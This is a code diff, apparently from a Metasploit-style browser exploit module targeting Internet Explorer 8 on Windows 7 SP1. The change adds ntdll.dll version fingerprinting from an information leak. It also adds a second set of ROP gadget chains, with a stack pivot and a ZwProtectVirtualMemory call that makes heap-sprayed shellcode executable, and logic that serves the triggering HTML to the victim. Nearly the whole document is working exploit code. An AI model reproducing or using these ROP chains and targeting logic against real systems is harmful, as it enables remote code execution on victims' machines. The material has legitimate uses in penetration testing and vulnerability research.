@@ -72,7 +72,10 @@ def initialize(info={})
72
72
'Offset' => '0x5f4'
73
73
}
74
74
] ,
75
- [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak' , # requires ntdll.dll v 6.1.7601.17514
75
+ # requires:
76
+ # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
77
+ # * ntdll.dll v6.1.7601.17725 (MS12-001)
78
+ [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak' ,
76
79
{
77
80
'Rop' => :ntdll ,
78
81
'Offset' => '0x5f4'
@@ -155,25 +158,9 @@ def ie_heap_spray(my_target, p)
155
158
return js
156
159
end
157
160
158
- def get_payload ( t , cli )
159
- code = payload . encoded
160
- # No rop. Just return the payload.
161
- return code if t [ 'Rop' ] . nil?
162
-
163
- # Both ROP chains generated by mona.py - See corelan.be
164
- case t [ 'Rop' ]
165
- when :jre
166
- print_status ( "Using JRE ROP" )
167
-
168
- stack_pivot = [
169
- 0x7c348b06 , # ret # from msvcr71
170
- 0x7c341748 , # pop ebx # ret # from msvcr71
171
- 0x7c348b05 # xchg eax, esp # ret from msvcr71
172
- ] . pack ( "V*" )
173
-
174
- rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
175
- when :ntdll
176
- print_status ( "Using ntdll ROP" )
161
+ def get_ntdll_rop
162
+ case @ntdll_version
163
+ when "6.1.7601.17514"
177
164
stack_pivot = [
178
165
@ntdll_base +0x0001578a , # ret # from ntdll
179
166
@ntdll_base +0x000096c9 , # pop ebx # ret # from ntdll
@@ -191,7 +178,49 @@ def get_payload(t, cli)
191
178
0x00000400 , # NumberOfBytesToProtect
192
179
0x41414141 # OldAccessProtection
193
180
] . pack ( "V*" )
194
- rop_payload = stack_pivot + ntdll_rop + payload . encoded
181
+ return stack_pivot + ntdll_rop
182
+ when "6.1.7601.17725"
183
+ stack_pivot = [
184
+ @ntdll_base +0x0001579a , # ret # from ntdll
185
+ @ntdll_base +0x000096c9 , # pop ebx # ret # from ntdll
186
+ @ntdll_base +0x00015799 , # xchg eax, esp # ret from ntdll
187
+ ] . pack ( "V*" )
188
+ ntdll_rop = [
189
+ @ntdll_base +0x45F18 , # ntdll!ZwProtectVirtualMemory
190
+ 0x0c0c0c40 , # ret to shellcode
191
+ 0xffffffff , # ProcessHandle
192
+ 0x0c0c0c34 , # ptr to BaseAddress
193
+ 0x0c0c0c38 , # ptr to NumberOfBytesToProtect
194
+ 0x00000040 , # NewAccessProtection
195
+ 0x0c0c0c3c , # ptr to OldAccessProtection
196
+ 0x0c0c0c40 , # BaseAddress
197
+ 0x00000400 , # NumberOfBytesToProtect
198
+ 0x41414141 # OldAccessProtection
199
+ ] . pack ( "V*" )
200
+ return stack_pivot + ntdll_rop
201
+ else
202
+ return ""
203
+ end
204
+ end
205
+
206
+ def get_payload ( t , cli )
207
+ code = payload . encoded
208
+ # No rop. Just return the payload.
209
+ return code if t [ 'Rop' ] . nil?
210
+
211
+ # Both ROP chains generated by mona.py - See corelan.be
212
+ case t [ 'Rop' ]
213
+ when :jre
214
+ print_status ( "Using JRE ROP" )
215
+ stack_pivot = [
216
+ 0x7c348b06 , # ret # from msvcr71
217
+ 0x7c341748 , # pop ebx # ret # from msvcr71
218
+ 0x7c348b05 # xchg eax, esp # ret from msvcr71
219
+ ] . pack ( "V*" )
220
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
221
+ when :ntdll
222
+ print_status ( "Using ntdll ROP" )
223
+ rop_payload = get_ntdll_rop + payload . encoded
195
224
end
196
225
197
226
return rop_payload
@@ -380,17 +409,35 @@ def on_request_uri(cli, request)
380
409
rescue
381
410
0
382
411
end
383
- @ntdll_base = leak - 0x470B0
384
- vprint_status ( "ntdll leak: #{ leak . to_s ( 16 ) } , ntdll base: #{ @ntdll_base . to_s ( 16 ) } " )
385
- if ( ( leak != 0 ) && ( ( @ntdll_base & 0x1111 ) != 0 ) )
386
- print_error ( "ntdll version not detected, sending 404: #{ agent } " )
387
- send_not_found ( cli )
388
- return
412
+
413
+ if leak == 0
414
+ html = load_exploit_html ( my_target , cli )
415
+ html = html . gsub ( /^ \t \t / , '' )
416
+ print_status ( "Sending HTML to trigger..." )
417
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
389
418
end
419
+
420
+ vprint_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
421
+ fingerprint = leak & 0x0000ffff
422
+
423
+ case fingerprint
424
+ when 0x70B0
425
+ @ntdll_version = "6.1.7601.17514"
426
+ @ntdll_base = leak - 0x470B0
427
+ when 0x7090
428
+ @ntdll_version = "6.1.7601.17725" # MS12-001
429
+ @ntdll_base = leak - 0x47090
430
+ else
431
+ print_error ( "ntdll version not detected, sending 404: #{ agent } " )
432
+ send_not_found ( cli )
433
+ return
434
+ end
435
+
390
436
html = load_exploit_html ( my_target , cli )
391
437
html = html . gsub ( /^\t \t / , '' )
392
438
print_status ( "Sending HTML to trigger..." )
393
439
send_response ( cli , html , { 'Content-Type' => 'text/html' } )
440
+
394
441
end
395
442
396
443
end
0 commit comments